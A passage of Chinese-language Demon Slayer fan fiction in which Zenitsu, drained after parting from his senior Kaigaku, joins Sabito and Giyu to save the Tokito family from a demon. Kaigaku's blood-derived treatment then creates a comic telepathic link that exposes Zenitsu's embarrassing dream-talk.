啊。他好像这几天都没有吃过饭来着。我妻善逸茫然地再次眨眨眼。他忘记了吗?
他咀嚼着口中的米饭,身体久违地感受到摄取食物的感觉,麻木和僵硬缓缓褪下,疲惫的状态突然缠了上来。
这是第几天?善逸试图从回忆中数清楚他离开蝶屋的天数,然而记忆中只有杀鬼的场景,完全找不出能记忆时间的东西。
他抬起眼,隐约看到了天空之中尚未被日光完全覆盖的月影。下弦月。
善逸恍惚记得,他离开蝶屋的前一天,窗外是一轮满月。
啊,已经过去八九天了吗?
没有进食进水,甚至没有睡觉,一刻不停地运转着,直到现在才感觉到疲惫。我妻善逸从来不知道,他的身体能够适应这种程度的压榨。
他咽下最后一口饭团,从被自己忘记的行囊中掏出从蝶屋带走的饭团,试图将它们塞进口中。
锖兔连忙抬手,将我妻善逸手里拿着的饭团打掉:“坏掉了,不能吃!”
我妻善逸有些呆愣地望着那个在尘土里打滚的饭团。放置了七八天的饭团味道并不好问,但是他的身体在渴求着食物。“没关系,我可以吃。”
他的手继续摸到放置饭团的盒子,直到那个盒子被锖兔整个抢走,才遗憾地收回手,重新木然地站在哪里。
锖兔担忧地看着状态极差的我妻善逸,尝试和他搭话,但是他的反应木楞且迟钝。
锖兔的任务并不算完成,然而现在的我妻善逸让他没办法轻易放走。
“算了,你和我来。”他最终还是轻呼口气,轻轻扶住我妻善逸的后
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背,带着他来到了小镇里的一处旅店。
“锖兔!你回来了!”上前迎接他们的是在旅店门口等待的富冈义勇。他和锖兔分开斩杀小镇里的鬼,并约定好在此汇合,然而锖兔的久久未归让他略显焦急。此时终于见到人,连忙上前。
锖兔冲他摆摆手示意没事,然后带着善逸进到了他们暂居的房间,并从旅店的厨房那里购买了一份早饭。
现在的时间实在太早,旅店的早饭还未开始供应,于是最后端到我妻善逸面前的,还是一份冷掉的饭团。
但这就足够了。善逸抬起手,一口气将这五六个饭团全部下肚,这才感觉到自己木然的脑袋开始了转动。
“……非常感谢。”他咽下最后一口米饭,收手,对眼前的两个人道谢。
锖兔和义勇坐在我妻善逸面前,一直看着他将所有的饭团全部吃掉,惨败的脸上开始恢复血色,在终于一起舒了口气。
锖兔摆摆手,感觉到善逸的状态好了许多,才开始询问他的情况:“你状态太差了。发生了什么?”
身体摄入足够食物后,所有的组织重新开始运转,那些因为麻木的重复行为而忘记的画面再次出现在我妻善逸的脑海。他的脸色阴沉而压抑,整个人身上充斥着阴郁的气息,让锖兔担心自己是不是说错话了。
而且,狯岳君去那里了?会不会……
从来没见过我妻善逸这种样子的锖兔越来越担忧,他身旁的富冈义勇倒是还好,毕竟他初次见到善逸是善逸就是这种状态,只不过……呃,程度要轻一些。
“我和我的师兄分开了。”善逸的声音还带着些沙哑,语气也低沉沉的,完全没有在狯岳身边时的活力。
呼。还好还好,不是他最坏的那种猜测。锖兔在心底大大地松了口气,紧接着继续问:“你们吵架了?”
“……没有。我们上次行动师兄受伤了,他现在在蝶屋养伤,没办法和我一起行动。”善逸的语气依然低沉,但是听到他说话的两个人都有点怀疑自己的耳朵。
“……呃,你是说,”锖兔试图分析我妻善逸的话语:“狯岳君受伤了,所以你和他分开行动,”他停顿住,接着继续问:“然后呢?”
善逸抬头,疑惑地看向他:“?”
锖兔努力解释清楚情况:“我是说,呃,你是怎么在和师兄分开后,呃,变成……”
“现在这幅鬼样子。”旁边的富冈义勇接话。不夸张,他第一眼见到善逸时,真以为锖兔抗了只鬼回来。
“呃,对。”虽说有点不礼貌,但是义勇的形容真得很贴切。锖兔心想。
“我和师兄分开了。”我妻善逸再次强调。
“我们都知道你和师兄分开……你是说,因为你和师兄分开,所以你变成了现在这样?”
善逸默默点头。
“啊……等等,啊……”锖兔不知道该怎么形容。他看了眼我妻善逸,接着转头看身边的富冈义勇,试图从义勇那里看到同等的疑惑。
但是义勇从藤袭山下来后情绪就更加内敛了些许,表情也少了许多,现在看着我妻善逸的眼神甚至有些……认同??
等等这是不是有哪里不对?
啊?
锖兔感觉自己有点错乱。
44.第 44 章
“我非常担心我的师兄会死掉,甚至不敢闭眼,害怕梦里全部都是那些场面。恶鬼杀死我的师兄,之类的。”
在锖兔看来匪夷所思的原因,却让富冈义勇十分感同身受。在得知锖兔差点就死在恶鬼手下,甚至连日轮刀都断裂了,而自己当时无能为力,甚至连为他挡刀,替他去死的能力都没有时,富冈义勇也不愿闭眼。
在那之后的一次沉沉的梦中,他甚至梦见自己在考核中一直昏迷到了结束,在他醒来的一瞬间,旁边的人告诉他,这次考核之中的所有人都存活了下来,除了锖兔,锖兔死在了恶鬼手中。
那种浓稠的悲伤,那种恨不得以身代之的感觉,像是浓墨一般的情绪将他从这一场悲伤到极点的梦中拽出来,睁眼之时的空茫,分不清虚幻与现实的感受,只剩下那仿佛撕裂一般的痛苦,好像他真的失去了锖兔一般。
他一直缓了许久才从这样的梦中挣脱出来,但那之后没见到锖兔时,他还是会怀疑,是否锖兔已经死亡,这一切是否是他的臆想。
直到他再次找到锖兔的身影,确定这不是他做的大梦一场,后怕的感觉再次袭上心头。
经过这些天锖兔的陪伴,富冈义勇好了许多,但是曾经的无力感依然刺痛着他。变强、变强、变强,为了不将自己亲近之人的性命放置在他人刀下,为了不再体会到那种无力感,富冈义勇几乎将变强这件事变成了执念。
正因为有这样的经历,直到那种撕心裂肺的痛楚,所以,他并不觉得我妻善逸与师兄之间的分离恐惧奇怪。
或许,他身上有着更深的后怕,以至于长久的陪伴也无法释怀,就连分离都让他难以忍受。
富冈义勇这样猜测着。
我妻善逸的状态缓和了一些,但依然不适合单独行动。在询问过他的任务方向后,锖兔与富冈义勇决定和他通行一程。
“和我们下一个任务的方向刚好重合!”锖兔有些惊喜,拉扯着我妻善逸,三人一起买了些饭团作为路途之中的饭食,随后一起走向了前往下一处城镇的道路。
三人的速度比上善逸自己要慢上许多,但是不知为何,我妻善逸并没有拒绝这样的一程陪伴。他看着身旁的师兄弟两个,想起了他刚来到这个世界时,和师兄一起翻山越岭去桃山寻找爷爷的经历。
当时的他们也慢慢的,哪怕师兄用上他那拙劣的自己摸索的呼吸方式,却依旧走不快。他们在小溪边歇脚,师兄烤的鱼味道比自己烤得好太多了,最后他那条像是柴一样的烤鱼还是被师兄吃掉的……
在脑海的一片血色之中,这些记忆杀出了重围,温馨而柔和的感受重新包围上来,让他紧绷的心神好了不少。
在太阳即将落山时,他们来到了另一个小镇。
这是义勇和锖兔收到的下个任务的地点。解决恶鬼很顺利,在杀死恶鬼之后,我妻善逸的耳朵动了动,表情略显严肃。他转头,看向刚解决完恶鬼准备回到旅店休息的两人:“有情况,我需要去一趟我们今天路过的山林。”
赶了半天路,随后又马不停蹄杀鬼的两人略显疲惫。听到我妻善逸的话,他们强忍着疲惫感,带上自己的日轮刀:“我们一起。”
“……走吧。”我妻善逸没有劝阻两人。他们在黑夜中的屋顶上路过,在黑漆漆的树木之间奔跑,距离越近,恶鬼的声音也就越清晰。
“……要怪就怪你们挡在了那个疯子的线路上吧!要不是为了躲避那个见鬼就杀的疯子,我才不会像是丧家犬一样逃到这里!”
恶鬼扭曲而狰狞,自说自话地站在一扇被撕裂的房门之前,在他身前的,是两个被吓得瘫倒却依旧死死护在一对双胞胎面前的夫妇。
“等到他路过这里,发现他还是慢一步,这里的人早就被我吃了,他会怎么想呢?哈哈哈哈哈哈——”
那对夫妇眼中充斥着恐惧,眼前的怪物让他们害怕到战栗。他们拼命投掷出的斧头被那怪物轻易躲过,就连用菜刀在怪物身上砍出来的伤口都在他们绝望的眼神之中愈合,那怪物甚至轻易地划伤了他们。没有了反抗手段的他们只能绝望地瘫坐在哪里。他们听不懂怪物口中在自语些什么,但他们知道,今天晚上他们难逃一死。
男人冲着妻子暗中比划手势,被妻子坚定地拒绝,随后,在怪物大笑之时,夫妻两人齐齐将怀中的男孩们向后推去!“快跑!!从后门跑!!”
“爸爸!妈妈!!”一个小男孩不舍地哭泣着,被另一个男孩坚定地拉走,两个人一起向着后门的方向跑去!
“不用挣扎的,你们一个都跑不掉!”恶鬼粗壮的手臂落下,想要先杀死眼前的夫妻,再去抓试图逃跑的小孩。那对夫妻绝望地望着眼前即将落到身上的锋利爪子,眼睛一闭想要扑到恶鬼身上,试图给自己的孩子制造出更懂逃跑的时间。
然而下一秒,一阵刺眼的电光闪过,那只狰狞的恶鬼竟是被一击削掉了脑袋,随后蓝色的电纹出现,恶鬼化为了飞灰。
一个浑身包裹着雷电的影子落下,随后雷电散开,露出一双如同闪电一样锐利且明亮的眼瞳。
同时,两道身影从后门的方向靠近,锖兔和富冈义勇一人抓着一个小孩子回到了这间山林之中的木屋。
“把我放下!!你个人贩子!!把我弟弟也放下!!”富冈义勇手中的小孩扭成了麻花,张牙舞爪的,像一只被提在手里的小猫。
“哥哥!哥哥!!”锖兔夹着的小孩倒是没有挣扎,只一个劲儿朝着自己的哥哥伸爪子。
“有一郎!无一郎!!”那对夫妻看到自己的小孩,激动地张开怀抱,而被放下的小孩子也扑向了自己的父母。
“爸爸!!妈妈!!”两个长得一模一样的小孩小心翼翼地避开父母身上向外流血的伤口,眼中蓄满了泪水。
锖兔望着家中两位大人身上的伤口,对着互相拥抱着哭成一团的几人开口:“先暂时给伤口包扎止血,之后我们带你们下山去就医。”
刚刚挣扎的小孩转身站在父母身前,用警惕的眼神看着眼前突然到来的三人,还没开口,就被身后的母亲拉了回去。
那对夫妻朝眼前的三人深深下拜:“感谢诸位的救命之恩……”
锖兔摆手,和义勇一起将夫妻二人扶起,“夫人您家中有常用药物吗?我们需要先给您二位的伤口止血。”
“我知道在哪里。跟我来。”依旧是那位对三人很警惕的小孩,领着锖兔找到了药物,给两位大人身上的伤做了个简单的处理。
“哥哥,你身上的伤口不用包扎吗?”在给两位大人换药的途中,另一个小男孩指着义勇和锖兔今天晚上杀鬼时受到的伤说,“我帮你包扎一下吧。”
锖兔有些惊
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讶地望着眼前的小孩,随后唇角微微翘起,伸出了自己的胳膊:“那就谢谢了。”
另一边,默默望着锖兔的富冈义勇感觉到了衣袖被扯动。他转头,只见到刚刚还骂他是人贩子,警惕望着他们的小孩,手里拿着绷带和药物,见他略有些惊讶地望过来,凶凶地说:“把衣服脱掉!”
富冈义勇沉默了两秒:“……我不需……”“快点!”
好凶。
富冈义勇默默将羽织脱下来,将肩膀上的伤口露出,任由那个小孩涂了一大坨药上去。
小孩的手法意外的很熟练,绷带包的也很整齐,被包扎好的伤口附近凉凉的,疼痛感没有消减,但是富冈义勇的感觉却很奇妙。
在这期间,我妻善逸一直默默盯着那两个长相一摸一样的小孩子。
是他吧。绝对是他。
那位鬼杀队最年轻的柱,霞柱时透无一郎。
当时在柱集训练时,善逸可是在他手下“死”了很多回的。
现在……好小……
我妻善逸望着那只有七八岁的小孩想。
所有身有外伤的人都简单包扎好了伤口,我妻善逸与锖兔带着两个大人,富冈义勇提着两个小孩,七人从这密林之中离开,回到了落脚的城镇内。
他们在一家大门上印有紫藤花家纹的人家门口停步,敲门,一位中年妇女打开了大门,将他们一行人迎了进去。
“紫藤花之家。”富冈义勇读着门上的字。
“啊。据说是被鬼杀队救下的民众自愿为队士提供支援形成的组织。”锖兔回想着师傅鳞泷左近次的讲解:“所有门上挂有紫藤花家纹的人家,都会免费为鬼杀队队士提供帮助与支援。但是我们还背着伤员——没问题吗?”
出任务以来的这半个月,他们一直都住宿在旅店,这还是他们第一次进入到紫藤花之家。
只见将他们迎进来的中年妇女熟练地为他们准备好房间铺好被子,将伤员安置在床铺之上,之后再次开门,医生就已经提着药箱出现在了房门之外。
“好熟练!”锖兔感慨。
嗯,是熟悉的味道。善逸想,默默拒绝了医生一同检查的邀请,同时将锖兔与富冈义勇推了出去。
等到所有人的伤都被医生检查完毕,我妻善逸向他们提出了告辞。
“我不认为你现在的状态适合继续任务。”锖兔干脆直言:“你现在需要的是休息,或者回到你师兄身边休息。”
“我有任务需要完成。”我妻善逸说。他的眼神望向那两位挤挤挨挨睡着了的双胞胎,心里却依然在想着他的师兄。互为半身的双胞胎,真好。就像是同一棵树上生长出的两根枝桠,同一粒种子上抽出的两股穗苗,同日而生,血脉相连。
如果他和师兄能够有这样的联系,甚至能够像双生子那样能互相感应,那他会不会不这样焦躁,不会这样担忧呢?
多想多想,多想能够时时刻刻感受师兄的一切,知晓师兄的所有,多想和师兄拥有同一套血肉,都想和师兄永远生长在一起……
好想重新听到师兄的一切,好想重新见到师兄,好想再次触碰师兄……好想师兄……
在我妻善逸的思念到达顶峰,思绪恍惚之时,忽然,他的心跳声和另一个心跳重叠在了一起。
“……师兄……?”
45.第 45 章
砰咚、砰咚、砰咚、砰咚
两颗心脏的鼓动声重合,一齐将血液泵往全身,顺着血液流动的方向,善逸逐渐听到了另一具身躯运行的声响。
咕嘟、咕嘟
血液在血管之中汩汩流动,进入到肺部之中。
沙沙、沙沙
大量的气体撑开了每一个肺泡,血液流经,变成鲜红的颜色。
啪!
善逸的眉头逐渐皱起。他听到了异常的声音。
那些从心脏中重新泵出来的血液像是和他心意相通,顺着血管到达那异常的方向,下一瞬,怪异的声音消失,呼吸变得绵长而和谐。
从肺部离开后,鲜红色的血液再次进入到心脏中。
砰咚!
血液在心脏的鼓动声后带着汹涌的力道奔向了全身各处,于是,在善逸的感觉之中,另一个身躯在他的感知之中逐渐点亮。他甚至感觉到了微风,微风拂过面颊的感觉,细小的汗毛被风吹拂,将那一瞬的感受传递到了善逸的脑海中。
最后的最后,他甚至感受到了熟悉的思绪,带着一点疑惑,好像是遇见了什么难以相信的事情。
“……师兄……”
再次感受到那个人的声响,甚至比以往更加细致,更加清晰。我妻善逸内心的汹涌情绪像是泄洪一般,所有关于师兄死亡的猜测画面在这一瞬间崩解,所有阴暗的心情被冲刷殆尽,在感知到稻玉狯岳这个人存在的一瞬间,遮挡着我妻善逸心脏的所有乌云被一道蓝色的雷电劈开,阴霾散去,阳光显现。
“师兄……”我妻善逸感觉自己脸上好像落下了雨滴,伸手触摸,才发现那是从自己眼角落下的泪水。
啊,他好像哭了。
没关系,现在哭师兄看不到的。师兄不会骂自己废物。
‘……啧。’
一声轻啧,带着熟悉到令我妻善逸头皮发麻的语调。
‘……别哭了,废物。丢我的脸。’
一道声音,顺着心脏与心脏之间的连接,来到了我妻善逸的耳边。
稻玉狯岳的心情很微妙。
前几天,那位花柱大人的继子蝴蝶忍小姐来到他的病房内,对他说他的废物师弟捐献出了血液拱蝶屋研究,前提是研究成果出来的第一时间就要给他用上。
狯岳一方面觉得师弟太过鲁莽,明知自己身上有不对劲还将自己的血液给了出去,万一被查出什么岂不是要连带着师父一起被罚;另一方面,心中的某个地方像是被小狗的爪子轻轻挠了一下,痒痒的,感觉很难说。
蝴蝶忍向他详细地说明了目前研究的情况,并告知他目前的药物并不能完全保证起效,甚至有可能给他的身体造成更大的伤害,询问他是否要尝试注射。
狯岳思考了一会儿,随后询问了药物实验的情况与注射后能够得到的最佳效果,在得知当前药物效果并不稳定但在他的血液当中的效果惊人,并能够治愈他体内的现有伤口,将他的身体机能恢复到顶峰时,果断选择了□□。
于是,在我妻善逸离开的七天后,蝴蝶忍带着那一管闪耀着蓝色光芒的药剂站在了狯岳的病床前,将那管以他师弟的血液提取物为主要成分的药剂注射到了他的身体之中。
蝴蝶忍的旁边是花柱蝴蝶香奈惠,她们二人紧张地注视着病床上的人,一旦出现了什么异常,蝴蝶忍会直接注射中和剂,蝴蝶香奈惠则需要使用所有手段维持狯岳的生机,给中和剂留出作用的时间。
然而,随着那管淡蓝色的药剂被推入病人的身体当中,她们想象中的闪电纹路并没有出现,病人的皮肤也没有裂开,反而随着药剂在身体内的流转,所有体表能够看见的血管一瞬间显现出莹莹蓝光,直到秒针滴滴答答走过了半圈,才重新隐匿到身体之下,不见了踪影。
蝴蝶忍和蝴蝶香奈惠齐齐松了一口气。
“看来应该不会有什么大问题……”蝴蝶忍向上抬眼,刚刚紧张注视着狯岳身体的他这才注意到病人的表情非常古怪。
?蝴蝶忍有些紧张地询问:“有什么问题吗?”
“……”狯岳不知道该怎么说。他该怎么描述,他突然听到了来自他那个应该正在做任务的蠢货师弟的心跳声?
至于为什么能够肯定那心跳声来自我妻善逸?
狯岳不自在地微微扭脸。
那伴随着心跳声传来的,粘稠又阴暗的,如同黑泥般的思绪,一声声地喊着他的名字,除了我妻善逸那个变态外还能有别人吗?
狯岳凝重地盯着刚刚插入针头的小臂。
怎么回事?难不成是自己出现的幻觉?
他放空思绪,试图屏蔽掉那些烦人的声音。
然而没有用。随着他的心跳声逐渐与耳边的声音重叠,两颗心的共振带来了更多远方那人的消息。
像是也感受到了另一个人的存在,那些粘稠又阴暗的思绪逐渐清明,压抑的情绪之下,是对稻玉狯岳这个人的担心与浓重想念。
啊,真是的。
狯岳心想,明明只是过去了七天而已。
那个废物到底怎么回事?
‘……师兄。’
熟悉的声音,干涩又略显低沉,跨越千里传递而来。
‘……师兄。’
声音依旧干涩,带着鼻音。
啊,那个废物,又要哭了啊。
狯岳心想。
“啧。”
真是废物。
小声的抽泣哽咽,一点点地传递到狯岳的心中。狯岳有些烦躁。
紧紧忍耐住声音的哭泣,一点都不适合我妻善逸这个人。
大声的哭闹,尖叫撕喊,甚至在地上打滚耍赖,这种闹天闹地的行为才应该是那个废物做出来的。
狯岳皱着眉头。
“……别哭了,废物。丢我的脸。”
‘……师兄,你好过分……就不能在心里说说我的好话哄哄我……’
善逸的腔调湿漉漉的,让狯岳感觉自己身周也潮湿了起来。
“做梦比较快。”
‘……师兄我要超大声地哭!!丢光你的脸呜呜呜!!’
狯岳听着那边像是打雷一般的暴风哭泣声,熟悉的头疼感觉爬上脑袋。
啧。废物就是废物。
狯岳这样想着,眉头确
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是松了开来。
我妻善逸大声地哭,狯岳也难得有耐心地听。
当然,耐心是有限的。狯岳在心里默默数到十,发现师弟的音调依然没有降低,逐渐不耐烦。
“好了,闭嘴!”狯岳打断师弟没头了的哭声,继续开口:
“废物,这是怎么回事?”
经过与师弟这一来一往的交流,狯岳也判断出这声音并不是他的幻觉。
但是为什么会出现这种情况?
那边的我妻善逸也不明白。“师兄刚刚做了什么吗?”
“被扎了一针。”
啊,是那份实验药剂。
善逸挠头。那份药剂中被忍小姐加入了什么特殊成分吗?
算了,反正不是什么坏事。善逸感受着师兄仿佛近在耳边的声响,幸福地呢喃着:“嘛,师兄,这不是好事吗?就不要思考这么多了。”
“……”狯岳闷闷地咽下口气。虽说……但是这样一直能听到善逸那种声音,还真是精神污染。
“算了,不指望你了,废物。”
狯岳单方面结束了脑内的通话,想了许久,还是将这件事告知了蝴蝶姐妹。
“啊呀,还有这种功效吗?”蝴蝶香奈惠的表情没有变化,倒是蝴蝶忍的眉头皱了起来。
“你要解除这种双向联系的状态吗?”蝴蝶忍表情严肃。毕竟这属于她们没有意料到的药效,几乎可以算是事故了。
要取消吗?
狯岳想点头,毕竟现在这种时时刻刻都被另一个人监控的状态确实不好受。但是……
狯岳侧开了脸,轻轻说:“暂时不用。”
“身体方面有不适感吗?”蝴蝶香奈惠提问。
“没有……不如说,一点都没有了。”狯岳这才注意到自己身体的情况。这些天一直出现在他身体中的灼烧感、乏力感、头痛与浑身酸痛都不见了,就连肺部的伤口都完全愈合。
就在注射药剂后的短短十分钟内,他身体里的一切症状全部消失!
狯岳仔细感受着自己回到巅峰状态的身体,惊奇地望向蝴蝶忍。
没想到,她说的“加速恢复”竟是这种速度!
然而,蝴蝶忍也非常惊奇。
毕竟,为了狯岳的安全,她用了大量的生理盐水稀释药剂,再加上药剂中最重要的成分(即我妻善逸的血液提取物)所占比例非常低,在她的预测中,狯岳最好的结果也是在持续注射五天后身体完全恢复。没想到……
“只那一点就能起到这样强大的效果吗……不对……”蝴蝶忍喃喃道:“之前所做的实验中,这点药量根本不会起到这样的效果……”
不管是只对那一份样本起恢复效果的血液,还是就算被稀释到几近于无也能发挥出强大效果的药剂。
是只有在这个人身上才能拥有的效果,是只针对一个人的奇迹。
她的视线缓缓移动,逐渐转向了病床上坐着的人身上,脑海中回想起那个黄蓝发少年的话。
“绝对不会伤害……”人的意志,甚至能够做到这种程度吗?
蝴蝶忍的手腕轻轻颤抖了一瞬。
46.第 46 章
锖兔有些呆愣。他眼见着自己面前刚刚还是一副沉郁模样的人像是忽然被注入了强心剂一般多云转晴,状态瞬间好转,紧蹙的眉头松开了,半阖的双眼睁大了,面部肌肉也放松了下来,就连刚刚还暗沉的黄蓝色头发都翘了起来,整个人从阴郁暗淡的毁灭菇变成了一朵开花阳光菇,散发着暖呼呼的味道。
啊,虽然这个阳光菇还在呜呜噫噫的哭泣,但是不管怎么说,泛着金色光芒的眼泪都不像是悲伤的样子啊?
怎么回事?分离焦虑一瞬间被治好了?
锖兔歪头。
“好奇怪……”锖兔观察着善逸的表情,见他一会儿悲伤,一会儿生气,一会儿又将手放在下巴上,认真思考些什么的样子,一会儿猛的一拍脸,将所有思绪都散开……
“好奇怪。”锖兔肯定,转过头看向自己的师弟。
旁边的富冈义勇没有回应。
?锖兔上手,轻轻推了推师弟。
富冈义勇的身躯摇晃起来。
啊,睡着了。
锖兔扶上义勇的后背,准备带着师弟去到紫藤花之家给他们准备的房间里。临走,他扭头看向我妻善逸:“你今天还走吗?”
“嗯?”我妻善逸像个太阳花一样猛转头,脸上都是那种幸福到有些傻兮兮的笑。
我妻善逸刚刚沉迷于数师兄的心跳,根本没听见锖兔在说什么。
“……”锖兔重复:“我说,你不在这里多休息一会儿吗?”
“休息吗?哈哈我现在还不是很累……”我妻善逸摸着自己的后脑勺,笑着说:“我想要尽快完成任务回去找师兄……”
‘滚回去睡觉。蠢货!’
“啊。我师兄让我去睡觉!那我今天就不走啦~晚安——”我妻善逸笑容灿烂地和锖兔挥手,接着一蹦一跳地转头跑向了别的方向:“婆婆!请也给我准备一个房间——”
锖兔看着在他眼前跑走的人,满脑袋问号。
“真奇怪。”他摇摇头,也扶着师弟离开了。
房间中只剩下两个沉睡的小朋友。其中一个在梦中小声咕哝了一声,将脸往自己兄弟的怀中埋得更深。
另一边的善逸钻进自己的被子里,心情绝佳地小声数着师兄的心跳声,眼皮悄悄合上,沉入了梦乡之中。
这是我妻善逸自从离开蝶屋以来睡得最好的一次。他隐隐约约记得自己做了个梦,梦中的他贴在一个柔软的怀抱中,嘟嘟囔囔地说了很多话。那个怀抱香香的软软的,他的脸在另一个人的胸膛上蹭来蹭去,手臂牢牢环抱着那人的腰肢,耳朵听着那人的心跳声,砰咚、砰咚,只觉得自己好幸福好幸福,简直像是飘在了云朵上……
“嘿嘿,嘿嘿嘿嘿……香香的,桃子味……嘿嘿……”
然而,正在善逸在云朵上踩来踩去的时候,一股压迫感朝着他袭来,下一秒,他脚下的云朵消散,善逸从高高的天空中掉了下去!
“伊呀——”
他猛的起身,差点与在他床铺之前探头探脑的两个小脑袋撞个正着。
?他这是在哪?
对上两张一模一样的脸,睡迷糊了的我妻善逸猛的向后倒回了枕头上。
幻觉吧。再睡一会儿。
嘻嘻嘻我的怀抱!我回来了!!
zzz
时透双子望着这个再次倒回床上的人,齐齐疑惑歪头,头上冒出了个大大的问号。
他们在这个陌生的地方睡了一觉,等醒来后被那两个将他们带来的大哥哥拜托,去叫另一个哥哥起床吃午饭。
有一郎牵着自己的弟弟无一郎,两个人窸窸窣窣地拉开大哥哥的房门,蹲在了睡着的人旁边。
双子呆呆地看着面前这个闭着眼睛在枕头上使劲蹭脸,还发出一些痴汉声音,像是一条不停蛹动的大蚯蚓一样的人。
时透有一郎锐评:“像虫子。好恶心。”
时透无一郎不赞同地看向自己的哥哥:“爸爸说要与人为善。就算真得很恶心,哥哥你也不要说出来。”
时透有一郎死鱼眼。你也没有为善到哪里啊,弟弟。
“怎么把他叫起来?”时透无一郎观察着在被子里游泳的家伙,向自己的哥哥询问。
“不知道,他太恶心了我不想动他。”总感觉像是什么脏东西。时透有一郎缩了缩自己的手。
“那我来?”时透无一郎善良地举起了自己手,被他的哥哥按了回去。“别了,不要碰,太脏了,无一郎。”
于是两人一起盯着那个从被子里漏出来的黄蓝色拖把头,试图用眼神和意念唤醒睡着的人。
可能是两人的目光太过炽热,也有可能是别的原因,比如我妻善逸被人远程制裁了什么的(?),总之,被注视着的我妻善逸在一阵四肢挥舞后,猛然坐了起来。
他的动作太过突然,反应不急的时透有一郎差点与善逸的脑袋撞上,还好他的弟弟拉了他一把。
坐起来的人呆愣愣的,好似还没从梦中清醒。
时透有一郎揉了揉自己的脑袋,庆幸弟弟刚刚动作敏捷,让自己的脑袋免于一场灾难。随后他微微叹了口气,正当他打算开口向醒来的人解释情况之时,那个坐起来的人忽然再次倒回了床上。
???
时透双子再次面面相觑。
狯岳非常后悔。
他坐在蝶屋庭院中的大石头上,双手扶额,反思自己做出的愚蠢决定。
真的,他真蠢。他单知道他的蠢货师弟的思绪和心音会顺着两个人之间莫名出现的连接传递到他这里,他居然没想过他师弟说的梦话也会传过来啊!!
好不容易完全恢复了的狯岳兴致勃勃地在蝶屋的院子里练剑,练着练着,从他师弟哪里就逐渐传来了不妙的动静。
狯岳本来还在疑惑,毕竟今早在他意识到我妻善逸的疲惫状态后就命令人前去休息,现在应该正是我妻善逸睡得正香的时候,怎么在这时有心音传递过来?
但是那人的心跳声缓慢而平稳,不像是还醒着的样子……
狯岳本想不理自己的师弟,专心练剑。没想到我妻善逸的心声让他的脸越来越黑。
‘嘿嘿……嘿嘿……师兄的怀抱好温暖……师兄的胸膛也好软和……嘿嘿……’
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‘啊呀师兄不要拿胸肌蹭我的脸啦……我有点喘不过来气啦师兄……’
‘师兄你身上香香的……桃子味……桃子吃多了吗师兄……’
狯岳一巴掌捂住了自己的脸,另一只拿日轮刀的手越握越紧,恨不得直接跨越空间劈死那个变态。
那家伙……平时都在想这些吗???
狯岳的脸已经黑如锅底,浑身上下冒出可怖的蓝色电光,凶恶的眼神好似下一秒就要杀人一般,咬牙切齿地挤出声音。
“我妻善逸!!!”
远远见到狯岳的蝶屋队士默默选择绕过那片区域。
啊。真可怕。
队士想,决定以后千万不要惹那个雷呼的剑士。
好可怕。
我妻善逸将脸埋回枕头里,心中默念‘梦……变回去变回去变回去’
‘你还想做什么梦?嗯?我妻善逸。’
正在他试图催眠自己继续那个印象之中超级幸福甜蜜的美梦时,师兄的声音专递到了他的耳边。
狯岳的声音压抑而平静,‘我妻善逸’四个字咬字清晰,明明只是平常的音调,愣是让我妻善逸听出一身的冷汗,脊背瞬间僵直,整个人平躺在床上,像一具僵硬的木偶。
‘师……师兄……’
‘哟,善逸,不做梦了?’
‘哈哈,师兄早上好,你睡得好吗我睡得很香,今天天气不错哈哈……’
‘抱歉啊善逸,你师兄我大上午没有睡觉,但是你小子睡得挺香啊。嗯?’
‘是挺不错的,哈哈,师兄有什么事吗?’
‘怎么没事不能问候你了?’
‘哈哈哈,怎么会呢……呜呜呜师兄你还是有话直说吧我要被你吓死了!!!’
‘我怎么会对你有意见呢?善逸君。我才不会对你说、梦、话、的事情有意见的,你说对吧?’
……
我妻善逸冷汗像是雨一样往下落,浑身上下的肌肉在师兄那一句“善逸君”之下僵硬得像是板砖。
完蛋了!虽然不知道自己在梦里都说了些什么但是完蛋了!
师兄!师兄他!他居然已经将“善逸君”三个字说出来了!他果然已经气疯了吧师兄!
我妻善逸疯狂回想自己梦的内容。难不成自己在梦里脚踢师兄拳打师兄了?不,不对,自己明明只是梦见有柔软的大姐姐(?)温柔地搂着自己而已啊??怎么会让师兄这样生气?
难不成是自己在梦里和大姐姐求婚吵到师兄了??但是之前拉着师兄去和大姐姐求婚,他都没有像是今天这样生气啊??
呜呜呜师兄到底是为什么啊???
那一瞬间,我妻善逸觉得,自己师兄的心思,简直比女人还要难猜。
啊,糟糕了。
我妻善逸忽然意识到了什么,像是筛糠一样颤抖起来。
他刚刚,是不是想得太大声了?
‘哈!我、妻、善、逸。’
啊。完蛋了。
我妻善逸觉得,再次见到师兄的那天,可能就是他的忌日了。
安详入睡.jpg
47.第 47 章
我妻善逸在劫难逃。
在师兄远距离的怨念之下,我妻善逸睁开眼睛,在床上呆呆地躺了两分钟,之后默默地爬了起来,将被自己睡得乱糟糟的床铺整理好,跪坐在了床铺旁边。
啊。完蛋了。
我妻善逸呆呆地望着前方,在心中默默流泪。
完蛋了。
时透双子待在一旁,发现面前的人像是根本没有看见他们一般,疑惑地互相对视。
时透无一郎走到人眼前,伸出手,在我妻善逸脸前晃荡。
我妻善逸依旧目光空茫地盯着前方,视线没有焦点。
小小无一郎的脸色眼熟,他转头看向自己的哥哥,略显沉重地摇摇头。
小小有一郎接替下弟弟的任务,凑到我妻善逸耳边,轻声说:“能听到吗——”
“伊——呀——!!!”刚刚还呆愣愣的人相识被点燃的穿天猴一样炸了出去!
时透双子齐齐仰头,震惊地望着趴在天花板上的人,目光呆滞。
妈妈,物理学不存在了(doge)
“你们两个!!!什么时候来的!!!”
吊在天花板上的人崩溃大叫。
“十分钟之前。”无一郎接话。
“有看到你边说梦话边傻笑的蠢样哦。”有一郎插刀。
扒在天花板上的我妻善逸的脚趾微微蜷起。
他有点死了。
但是……“等等。”善逸松手,顺着重力曲腿落地,随后鬼鬼祟祟地左右观察,悄悄地凑到时透双子身边,做贼一般提问:“那个,我做梦都说了些什么?”
“你……”时透有一郎看着我妻善逸的目光变了。
“咿呀——不要用这种看恶心的虫子的眼神看我啊!!怎么了!!怎么了!!难不成我说了什么很恶心的话吗??!!”
“……”时透有一郎默默捂住了弟弟的耳朵,随后开口,鄙夷地对我妻善逸说:“什么‘香香的’、‘桃子味’之类的……你是在做那种梦吧?”
时透有一郎的脸上露出看恶心大人的眼神。
“……”我妻善逸默默捂脸,调整姿势双膝跪地:“红豆泥私密马赛……”
等等,难不成师兄也是觉得我太恶心了才这么生气……
啊。完蛋了。
我妻善逸碎掉了。
